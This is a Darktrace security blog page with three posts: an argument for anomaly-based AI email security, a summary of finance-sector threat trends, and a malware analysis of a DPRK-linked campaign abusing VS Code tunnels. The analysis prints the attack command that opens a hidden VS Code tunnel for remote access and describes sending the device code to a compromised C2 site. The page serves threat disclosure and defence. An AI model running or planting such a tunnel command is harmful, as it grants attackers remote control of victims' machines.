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February 1, 2021

Explore AI Email Security Approaches with Darktrace

Stay informed on the latest AI approaches to email security. Explore Darktrace's comparisons to find the best solution for your cybersecurity needs!
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Dan Fein
VP, Product
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01
Feb 2021

Innovations in artificial intelligence (AI) have fundamentally changed the email security landscape in recent years, but it can often be hard to determine what makes one system different to the next. In reality, under that umbrella term there exists a significant distinction in approach which may determine whether the technology provides genuine protection or simply a perceived notion of defense.

One backward-looking approach involves feeding a machine thousands of emails that have already been deemed to be malicious, and training it to look for patterns in these emails in order to spot future attacks. The second approach uses an AI system to analyze the entirety of an organization’s real-world data, enabling it to establish a notion of what is ‘normal’ and then spot subtle deviations indicative of an attack.

In the below, we compare the relative merits of each approach, with special consideration to novel attacks that leverage the latest news headlines to bypass machine learning systems trained on data sets. Training a machine on previously identified ‘known bads’ is only advantageous in certain, specific contexts that don’t change over time: to recognize the intent behind an email, for example. However, an effective email security solution must also incorporate a self-learning approach that understands ‘normal’ in the context of an organization in order to identify unusual and anomalous emails and catch even the novel attacks.

Signatures – a backward-looking approach

Over the past few decades, cyber security technologies have looked to mitigate risk by preventing previously seen attacks from occurring again. In the early days, when the lifespan of a given strain of malware or the infrastructure of an attack was in the range of months and years, this method was satisfactory. But the approach inevitably results in playing catch-up with malicious actors: it always looks to the past to guide detection for the future. With decreasing lifetimes of attacks, where a domain could be used in a single email and never seen again, this historic-looking signature-based approach is now being widely replaced by more intelligent systems.

Training a machine on ‘bad’ emails

The first AI approach we often see in the wild involves harnessing an extremely large data set with thousands or millions of emails. Once these emails have come through, an AI is trained to look for common patterns in malicious emails. The system then updates its models, rules set, and blacklists based on that data.

This method certainly represents an improvement to traditional rules and signatures, but it does not escape the fact that it is still reactive, and unable to stop new attack infrastructure and new types of email attacks. It is simply automating that flawed, traditional approach – only instead of having a human update the rules and signatures, a machine is updating them instead.

Relying on this approach alone has one basic but critical flaw: it does not enable you to stop new types of attacks that it has never seen before. It accepts that there has to be a ‘patient zero’ – or first victim – in order to succeed.

The industry is beginning to acknowledge the challenges with this approach, and huge amounts of resources – both automated systems and security researchers – are being thrown into minimizing its limitations. This includes leveraging a technique called “data augmentation” that involves taking a malicious email that slipped through and generating many “training samples” using open-source text augmentation libraries to create “similar” emails – so that the machine learns not only the missed phish as ‘bad’, but several others like it – enabling it to detect future attacks that use similar wording, and fall into the same category.

But spending all this time and effort into trying to fix an unsolvable problem is like putting all your eggs in the wrong basket. Why try and fix a flawed system rather than change the game altogether? To spell out the limitations of this approach, let us look at a situation where the nature of the attack is entirely new.

The rise of ‘fearware’

When the global pandemic hit, and governments began enforcing travel bans and imposing stringent restrictions, there was undoubtedly a collective sense of fear and uncertainty. As explained previously in this blog, cyber-criminals were quick to capitalize on this, taking advantage of people’s desire for information to send out topical emails related to COVID-19 containing malware or credential-grabbing links.

These emails often spoofed the Centers for Disease Control and Prevention (CDC), or later on, as the economic impact of the pandemic began to take hold, the Small Business Administration (SBA). As the global situation shifted, so did attackers’ tactics. And in the process, over 130,000 new domains related to COVID-19 were purchased.

Let’s now consider how the above approach to email security might fare when faced with these new email attacks. The question becomes: how can you train a model to look out for emails containing ‘COVID-19’, when the term hasn’t even been invented yet?

And while COVID-19 is the most salient example of this, the same reasoning follows for every single novel and unexpected news cycle that attackers are leveraging in their phishing emails to evade tools using this approach – and attracting the recipient’s attention as a bonus. Moreover, if an email attack is truly targeted to your organization, it might contain bespoke and tailored news referring to a very specific thing that supervised machine learning systems could never be trained on.

This isn’t to say there’s not a time and a place in email security for looking at past attacks to set yourself up for the future. It just isn’t here.

Spotting intention

Darktrace uses this approach for one specific use which is future-proof and not prone to change over time, to analyze grammar and tone in an email in order to identify intention: asking questions like ‘does this look like an attempt at inducement? Is the sender trying to solicit some sensitive information? Is this extortion?’ By training a system on an extremely large data set collected over a period of time, you can start to understand what, for instance, inducement looks like. This then enables you to easily spot future scenarios of inducement based on a common set of characteristics.

Training a system in this way works because, unlike news cycles and the topics of phishing emails, fundamental patterns in tone and language don’t change over time. An attempt at solicitation is always an attempt at solicitation, and will always bear common characteristics.

For this reason, this approach only plays one small part of a very large engine. It gives an additional indication about the nature of the threat, but is not in itself used to determine anomalous emails.

Detecting the unknown unknowns

In addition to using the above approach to identify intention, Darktrace uses unsupervised machine learning, which starts with extracting and extrapolating thousands of data points from every email. Some of these are taken directly from the email itself, while others are only ascertainable by the above intention-type analysis. Additional insights are also gained from observing emails in the wider context of all available data across email, network and the cloud environment of the organization.

Only after having a now-significantly larger and more comprehensive set of indicators, with a more complete description of that email, can the data be fed into a topic-indifferent machine learning engine to start questioning the data in millions of ways in order to understand if it belongs, given the wider context of the typical ‘pattern of life’ for the organization. Monitoring all emails in conjunction allows the machine to establish things like:

  • Does this person usually receive ZIP files?
  • Does this supplier usually send links to Dropbox?
  • Has this sender ever logged in from China?
  • Do these recipients usually get the same emails together?

The technology identifies patterns across an entire organization and gains a continuously evolving sense of ‘self’ as the organization grows and changes. It is this innate understanding of what is and isn’t ‘normal’ that allows AI to spot the truly ‘unknown unknowns’ instead of just ‘new variations of known bads.’

This type of analysis brings an additional advantage in that it is language and topic agnostic: because it focusses on anomaly detection rather than finding specific patterns that indicate threat, it is effective regardless of whether an organization typically communicates in English, Spanish, Japanese, or any other language.

By layering both of these approaches, you can understand the intention behind an email and understand whether that email belongs given the context of normal communication. And all of this is done without ever making an assumption or having the expectation that you’ve seen this threat before.

Years in the making

It’s well established now that the legacy approach to email security has failed – and this makes it easy to see why existing recommendation engines are being applied to the cyber security space. On first glance, these solutions may be appealing to a security team, but highly targeted, truly unique spear phishing emails easily skirt these systems. They can’t be relied on to stop email threats on the first encounter, as they have a dependency on known attacks with previously seen topics, domains, and payloads.

An effective, layered AI approach takes years of research and development. There is no single mathematical model to solve the problem of determining malicious emails from benign communication. A layered approach accepts that competing mathematical models each have their own strengths and weaknesses. It autonomously determines the relative weight these models should have and weighs them against one another to produce an overall ‘anomaly score’ given as a percentage, indicating exactly how unusual a particular email is in comparison to the organization’s wider email traffic flow.

It is time for email security to well and truly drop the assumption that you can look at threats of the past to predict tomorrow’s attacks. An effective AI cyber security system can identify abnormalities with no reliance on historical attacks, enabling it to catch truly unique novel emails on the first encounter – before they land in the inbox.

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Dan Fein
VP, Product

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January 28, 2026

The State of Cybersecurity in the Finance Sector: Six Trends to Watch

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The evolving cybersecurity threat landscape in finance

The financial sector, encompassing commercial banks, credit unions, financial services providers, and cryptocurrency platforms, faces an increasingly complex and aggressive cyber threat landscape. The financial sector’s reliance on digital infrastructure and its role in managing high-value transactions make it a prime target for both financially motivated and state-sponsored threat actors.

Darktrace’s latest threat research, The State of Cybersecurity in the Finance Sector, draws on a combination of Darktrace telemetry data from real-world customer environments, open-source intelligence, and direct interviews with financial-sector CISOs to provide perspective on how attacks are unfolding and how defenders in the sector need to adapt.  

Six cybersecurity trends in the finance sector for 2026

1. Credential-driven attacks are surging

Phishing continues to be a leading initial access vector for attacks targeting confidentiality. Financial institutions are frequently targeted with phishing emails designed to harvest login credentials. Techniques including Adversary-in-The-Middle (AiTM) to bypass Multi-factor Authentication (MFA) and QR code phishing (“quishing”) are surging and are capable of fooling even trained users. In the first half of 2025, Darktrace observed 2.4 million phishing emails within financial sector customer deployments, with almost 30% targeted towards VIP users.  

2. Data Loss Prevention is an increasing challenge

Compliance issues – particularly data loss prevention -- remain a persistent risk. In October 2025 alone, Darktrace observed over 214,000 emails across financial sector customers that contained unfamiliar attachments and were sent to suspected personal email addresses highlighting clear concerns around data loss prevention. Across the same set of customers within the same time frame, more than 351,000 emails containing unfamiliar attachments were sent to freemail addresses (e.g. gmail, yahoo, icloud), highlighting clear concerns around DLP.  

Confidentiality remains a primary concern for financial institutions as attackers increasingly target sensitive customer data, financial records, and internal communications.  

3. Ransomware is evolving toward data theft and extortion

Ransomware is no longer just about locking systems, it’s about stealing data first and encrypting second. Groups such as Cl0p and RansomHub now prioritize exploiting trusted file-transfer platforms to exfiltrate sensitive data before encryption, maximizing regulatory and reputational fallout for victims.  

Darktrace’s threat research identified routine scanning and malicious activity targeting internet-facing file-transfer systems used heavily by financial institutions. In one notable case involving Fortra GoAnywhere MFT, Darktrace detected malicious exploitation behavior six days before the CVE was publicly disclosed, demonstrating how attackers often operate ahead of patch cycles

This evolution underscores a critical reality: by the time a vulnerability is disclosed publicly, it may already be actively exploited.

4. Attackers are exploiting edge devices, often pre-disclosure.  

VPNs, firewalls, and remote access gateways have become high-value targets, and attackers are increasingly exploiting them before vulnerabilities are publicly disclosed. Darktrace observed pre-CVE exploitation activity affecting edge technologies including Citrix, Palo Alto, and Ivanti, enabling session hijacking, credential harvesting, and privileged lateral movement into core banking systems.  

Once compromised, these edge devices allow adversaries to blend into trusted network traffic, bypassing traditional perimeter defenses. CISOs interviewed for the report repeatedly described VPN infrastructure as a “concentrated focal point” for attackers, especially when patching and segmentation lag behind operational demands.

5. DPRK-linked activity is growing across crypto and fintech.  

State-sponsored activity, particularly from DPRK-linked groups affiliated with Lazarus, continues to intensify across cryptocurrency and fintech organizations. Darktrace identified coordinated campaigns leveraging malicious npm packages, previously undocumented BeaverTail and InvisibleFerret malware, and exploitation of React2Shell (CVE-2025-55182) for credential theft and persistent backdoor access.  

Targeting was observed across the United Kingdom, Spain, Portugal, Sweden, Chile, Nigeria, Kenya, and Qatar, highlighting the global scope of these operations.  

7. Cloud complexity and AI governance gaps are now systemic risks.  

Finally, CISOs consistently pointed to cloud complexity, insider risk from new hires, and ungoverned AI usage exposing sensitive data as systemic challenges. Leaders emphasized difficulty maintaining visibility across multi-cloud environments while managing sensitive data exposure through emerging AI tools.  

Rapid AI adoption without clear guardrails has introduced new confidentiality and compliance risks, turning governance into a board-level concern rather than a purely technical one.

Building cyber resilience in a shifting threat landscape

The financial sector remains a prime target for both financially motivated and state-sponsored adversaries. What this research makes clear is that yesterday’s security assumptions no longer hold. Identity attacks, pre-disclosure exploitation, and data-first ransomware require adaptive, behavior-based defenses that can detect threats as they emerge, often ahead of public disclosure.

As financial institutions continue to digitize, resilience will depend on visibility across identity, edge, cloud, and data, combined with AI-driven defense that learns at machine speed.  

Learn more about the threats facing the finance sector, and what your organization can do to keep up in The State of Cybersecurity in the Finance Sector report here.  

Acknowledgements:

The State of Cybersecurity in the Finance sector report was authored by Calum Hall, Hugh Turnbull, Parvatha Ananthakannan, Tiana Kelly, and Vivek Rajan, with contributions from Emma Foulger, Nicole Wong, Ryan Traill, Tara Gould, and the Darktrace Threat Research and Incident Management teams.

[related-resource]  

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Nathaniel Jones
VP, Security & AI Strategy, Field CISO

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January 23, 2026

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

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Introduction

Darktrace analysts recently identified a campaign aligned with Democratic People’s Republic of Korea (DPRK) activity that targets users in South Korea, leveraging Javascript Encoded (JSE) scripts and government-themed decoy documents to deploy a Visual Studio Code (VS Code) tunnel to establish remote access.

Technical analysis

Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.
Figure 1: Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.

The sample observed in this campaign is a JSE file disguised as a Hangul Word Processor (HWPX) document, likely sent to targets via a spear-phishing email. The JSE file contains multiple Base64-encoded blobs and is executed by Windows Script Host. The HWPX file is titled “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026 (1)” in C:\ProgramData and is opened as a decoy. The Hangul documents impersonate the Ministry of Personnel Management, a South Korean government agency responsible for managing the civil service. Based on the metadata within the documents, the threat actors appear to have taken the documents from the government’s website and edited them to appear legitimate.

Base64 encoded blob.
Figure 2: Base64 encoded blob.

The script then downloads the VSCode CLI ZIP archives from Microsoft into C:\ProgramData, along with code.exe (the legitimate VS Code executable) and a file named out.txt.

In a hidden window, the command cmd.exe /c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene > "C:\ProgramData\out.txt" 2>&1 is run, establishinga VS Code tunnel named “bizeugene”.

VSCode Tunnel setup.
Figure 3: VSCode Tunnel setup.

VS Code tunnels allows users connect to a remote computer and use Visual Studio Code. The remote computer runs a VS Code server that creates an encrypted connection to Microsoft’s tunnel service. A user can then connect to that machine from another device using the VS Code application or a web browser after signing in with GitHub or Microsoft. Abuse of VS Code tunnels was first identified in 2023 and has since been used by Chinese Advance Persistent Threat (APT) groups targeting digital infrastructure and government entities in Southeast Asia [1].

 Contents of out.txt.
Figure 4: Contents of out.txt.

The file “out.txt” contains VS Code Server logs along with a generated GitHub device code. Once the threat actor authorizes the tunnel from their GitHub account, the compromised system is connected via VS Code. This allows the threat actor to have interactive access over the system, with access to the VS Code’s terminal and file browser, enabling them to retrieve payloads and exfiltrate data.

GitHub screenshot after connection is authorized.
Figure 5: GitHub screenshot after connection is authorized.

This code, along with the tunnel token “bizeugene”, is sent in a POST request to hxxps://www[.]yespp[.]co[.]kr/common/include/code/out[.]php, a legitimate South Korean site that has been compromised is now used as a command-and-control (C2) server.

Conclusion

The use of Hancom document formats, DPRK government impersonation, prolonged remote access, and the victim targeting observed in this campaign are consistent with operational patterns previously attributed to DPRK-aligned threat actors. While definitive attribution cannot be made based on this sample alone, the alignment with established DPRK tactics, techniques, and procedures (TTPs) increases confidence that this activity originates from a DPRK state-aligned threat actor.

This activity shows how threat actors can use legitimate software rather than custom malware to maintain access to compromised systems. By using VS Code tunnels, attackers are able to communicate through trusted Microsoft infrastructure instead of dedicated C2 servers. The use of widely trusted applications makes detection more difficult, particularly in environments where developer tools are commonly installed. Traditional security controls that focus on blocking known malware may not identify this type of activity, as the tools themselves are not inherently malicious and are often signed by legitimate vendors.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Appendix

Indicators of Compromise (IoCs)

115.68.110.73 - compromised site IP

9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse

MITRE ATTACK

T1566.001 - Phishing: Attachment

T1059 - Command and Scripting Interpreter

T1204.002 - User Execution

T1027 - Obfuscated Files and Information

T1218 - Signed Binary Proxy Execution

T1105 - Ingress Tool Transfer

T1090 - Proxy

T1041 - Exfiltration Over C2 Channel

References

[1]  https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

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